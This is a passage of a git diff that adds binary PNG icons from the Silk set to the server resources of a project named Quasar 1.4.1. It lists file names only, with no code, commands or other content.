b/Quasar-1.4.1/Quasar.Server/Resources/Silk/car_delete.png new file mode 100755 index 0000000..2803b56 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/car_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/cart.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cart.png new file mode 100755 index 0000000..4f78fb1 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cart.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/cart_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cart_add.png new file mode 100755 index 0000000..45c2900 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cart_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/cart_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cart_delete.png new file mode 100755 index 0000000..ac5bce5 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cart_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/cart_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cart_edit.png new file mode 100755 index 0000000..b94ff88 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cart_edit.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/cart_error.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cart_error.png new file mode 100755 index 0000000..144c835 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cart_error.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/cart_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cart_go.png new file mode 100755 index 0000000..20ee058 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cart_go.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/cart_put.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cart_put.png new file mode 100755 index 0000000..3aec353 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cart_put.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/cart_remove.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cart_remove.png new file mode 100755 index 0000000..360217b Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cart_remove.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/cd.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cd.png new file mode 100755 index 0000000..ef43223 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cd.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/cd_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cd_add.png new file mode 100755 index 0000000..b0254ef Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cd_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/cd_burn.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cd_burn.png new file mode 100755 index 0000000..157cb0b Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cd_burn.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/cd_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cd_delete.png new file mode 100755 index 0000000..7d7b3d5 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cd_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/cd_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cd_edit.png new file mode 100755 index 0000000..b0dc194 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cd_edit.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/cd_eject.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cd_eject.png new file mode 100755 index 0000000..762932f Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cd_eject.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/cd_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cd_go.png new file mode 100755 index 0000000..13e0499 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cd_go.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_bar.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_bar.png new file mode 100755 index 0000000..9051fbc Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_bar.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_bar_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_bar_add.png new file mode 100755 index 0000000..d283e84 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_bar_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_bar_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_bar_delete.png new file mode 100755 index 0000000..259f686 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_bar_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_bar_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_bar_edit.png new file mode 100755 index 0000000..df64d97 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_bar_edit.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_bar_error.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_bar_error.png new file mode 100755 index 0000000..bdacea5 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_bar_error.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_bar_link.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_bar_link.png new file mode 100755 index 0000000..bf18aed Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_bar_link.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_curve.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_curve.png new file mode 100755 index 0000000..01e933a Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_curve.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_curve_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_curve_add.png new file mode 100755 index 0000000..f9e2050 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_curve_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_curve_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_curve_delete.png new file mode 100755 index 0000000..b411391 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_curve_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_curve_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_curve_edit.png new file mode 100755 index 0000000..bd07673 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_curve_edit.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_curve_error.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_curve_error.png new file mode 100755 index 0000000..906dd03 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_curve_error.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_curve_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_curve_go.png new file mode 100755 index 0000000..ac9eda5 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_curve_go.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_curve_link.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_curve_link.png new file mode 100755 index 0000000..144eafe Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_curve_link.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_line.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_line.png new file mode 100755 index 0000000..85020f3 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_line.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_line_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_line_add.png new file mode 100755 index 0000000..5571a5e Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_line_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_line_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_line_delete.png new file mode 100755 index 0000000..5b0aa90 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_line_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_line_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_line_edit.png new file mode 100755 index 0000000..9cf6607 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_line_edit.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_line_error.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_line_error.png new file mode 100755 index 0000000..ff23c03 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_line_error.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_line_link.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_line_link.png new file mode 100755 index 0000000..f3727d2 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_line_link.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_organisation.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_organisation.png new file mode 100755 index 0000000..505a707 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_organisation.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_organisation_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_organisation_add.png new file mode 100755 index 0000000..3f47be8 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_organisation_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_organisation_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_organisation_delete.png new file mode 100755 index 0000000..6b6ef89 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_organisation_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_pie.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_pie.png new file mode 100755 index 0000000..fe00fa0 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_pie.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_pie_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_pie_add.png new file mode 100755 index 0000000..bf0822e Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_pie_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_pie_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_pie_delete.png new file mode 100755 index 0000000..5ab9efd Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_pie_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_pie_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_pie_edit.png new file mode 100755 index 0000000..3debc12 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_pie_edit.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_pie_error.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_pie_error.png new file mode 100755 index 0000000..7344174 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_pie_error.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_pie_link.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_pie_link.png new file mode 100755 index 0000000..c072f8e Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/chart_pie_link.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/clock.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/clock.png new file mode 100755 index 0000000..e2672c2 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/clock.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/clock_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/clock_add.png new file mode 100755 index 0000000..598b839 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/clock_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/clock_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/clock_delete.png new file mode 100755 index 0000000..8bf9efe Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/clock_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/clock_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/clock_edit.png new file mode 100755 index 0000000..7d35718 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/clock_edit.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/clock_error.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/clock_error.png new file mode 100755 index 0000000..a7c461b Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/clock_error.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/clock_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/clock_go.png new file mode 100755 index 0000000..a1a24d3 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/clock_go.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/clock_link.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/clock_link.png new file mode 100755 index 0000000..481cf04 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/clock_link.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/clock_pause.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/clock_pause.png new file mode 100755 index 0000000..ba74725 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/clock_pause.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/clock_play.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/clock_play.png new file mode 100755 index 0000000..fb4ebc8 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/clock_play.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/clock_red.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/clock_red.png new file mode 100755 index 0000000..2842cc3 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/clock_red.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/clock_stop.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/clock_stop.png new file mode 100755 index 0000000..6fe8a6f Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/clock_stop.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/cog.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cog.png new file mode 100755 index 0000000..8bf76fb Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cog.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/cog_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cog_add.png new file mode 100755 index 0000000..04f22ba Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cog_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/cog_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cog_delete.png new file mode 100755 index 0000000..8ce71c4 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cog_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/cog_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cog_edit.png new file mode 100755 index 0000000..47b75a4 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cog_edit.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/cog_error.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cog_error.png new file mode 100755 index 0000000..4766743 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cog_error.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/cog_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cog_go.png new file mode 100755 index 0000000..3262767 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/cog_go.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/coins.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/coins.png new file mode 100755 index 0000000..0ca9074 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/coins.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/coins_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/coins_add.png new file mode 100755 index 0000000..cdff5d3 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/coins_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/coins_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/coins_delete.png new file mode 100755 index 0000000..18e0c0f Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/coins_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/color_swatch.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/color_swatch.png new file mode 100755 index 0000000..5597faf Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/color_swatch.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/color_wheel.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/color_wheel.png new file mode 100755 index 0000000..809fb00 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/color_wheel.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/comment.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/comment.png new file mode 100755 index 0000000..7bc9233 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/comment.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/comment_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/comment_add.png new file mode 100755 index 0000000..75e78de Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/comment_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/comment_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/comment_delete.png new file mode 100755 index 0000000..643fdbe Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/comment_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/comment_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/comment_edit.png new file mode 100755 index 0000000..73db110 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/comment_edit.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/comments.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/comments.png new file mode 100755 index 0000000..39433cf Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/comments.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/comments_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/comments_add.png new file mode 100755 index 0000000..b325634 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/comments_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/comments_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/comments_delete.png new file mode 100755 index 0000000..6df7376 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/comments_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/compress.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/compress.png new file mode 100755 index 0000000..8606ff0 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/compress.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/computer.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/computer.png new file mode 100755 index 0000000..9bc37dc Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/computer.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/computer_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/computer_add.png new file mode 100755 index 0000000..db604ee Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/computer_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/computer_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/computer_delete.png new file mode 100755 index 0000000..5e9b268 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/computer_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/computer_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/computer_edit.png new file mode 100755 index 0000000..34c72fe Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/computer_edit.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/computer_error.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/computer_error.png new file mode 100755 index 0000000..b2c3ed5 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/computer_error.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/computer_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/computer_go.png new file mode 100755 index 0000000..0b26144 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/computer_go.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/computer_key.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/computer_key.png new file mode 100755 index 0000000..eca5430 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/computer_key.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/computer_link.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/computer_link.png new file mode 100755 index 0000000..3859db2 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/computer_link.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/connect.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/connect.png new file mode 100755 index 0000000..024138e Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/connect.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/contrast.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/contrast.png new file mode 100755 index 0000000..e623c52 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/contrast.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/contrast_decrease.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/contrast_decrease.png new file mode 100755 index 0000000..0155bf5 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/contrast_decrease.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/contrast_high.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/contrast_high.png new file mode 100755 index 0000000..94b3012 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/contrast_high.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/contrast_increase.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/contrast_increase.png new file mode 100755 index 0000000..a3e7f52 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/contrast_increase.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/contrast_low.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/contrast_low.png new file mode 100755 index 0000000..037ecd9 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/contrast_low.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/control_eject.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/control_eject.png new file mode 100755 index 0000000..924d817 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/control_eject.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/control_eject_blue.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/control_eject_blue.png new file mode 100755 index 0000000..07c5bef Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/control_eject_blue.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/control_end.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/control_end.png new file mode 100755 index 0000000..036e04d Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/control_end.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/control_end_blue.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/control_end_blue.png new file mode 100755 index 0000000..bda687d Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/control_end_blue.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/control_equalizer.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/control_equalizer.png new file mode 100755 index 0000000..a244769 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/control_equalizer.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/control_equalizer_blue.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/control_equalizer_blue.png new file mode 100755 index 0000000..964300e Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/control_equalizer_blue.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/control_fastforward.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/control_fastforward.png new file mode 100755 index 0000000..31f7fd3 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/control_fastforward.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/control_fastforward_blue.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/control_fastforward_blue.png new file mode 100755 index 0000000..e010dea Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/control_fastforward_blue.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/control_pause.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/control_pause.png new file mode 100755 index 0000000..2d9ce9c Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/control_pause.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/control_pause_blue.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/control_pause_blue.png new file mode 100755 index 0000000..2baf2a9 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/control_pause_blue.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/control_play.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/control_play.png new file mode 100755 index 0000000..0846555 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/control_play.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/control_play_blue.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/control_play_blue.png new file mode 100755 index 0000000..f8c8ec6 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/control_play_blue.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/control_repeat.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/control_repeat.png new file mode 100755 index 0000000..33a44e7 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/control_repeat.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/control_repeat_blue.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/control_repeat_blue.png new file mode 100755 index 0000000..406ec33 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/control_repeat_blue.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/control_rewind.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/control_rewind.png new file mode 100755 index 0000000..c029447 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/control_rewind.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/control_rewind_blue.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/control_rewind_blue.png new file mode 100755 index 0000000..ec62b5f Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/control_rewind_blue.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/control_start.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/control_start.png new file mode 100755 index 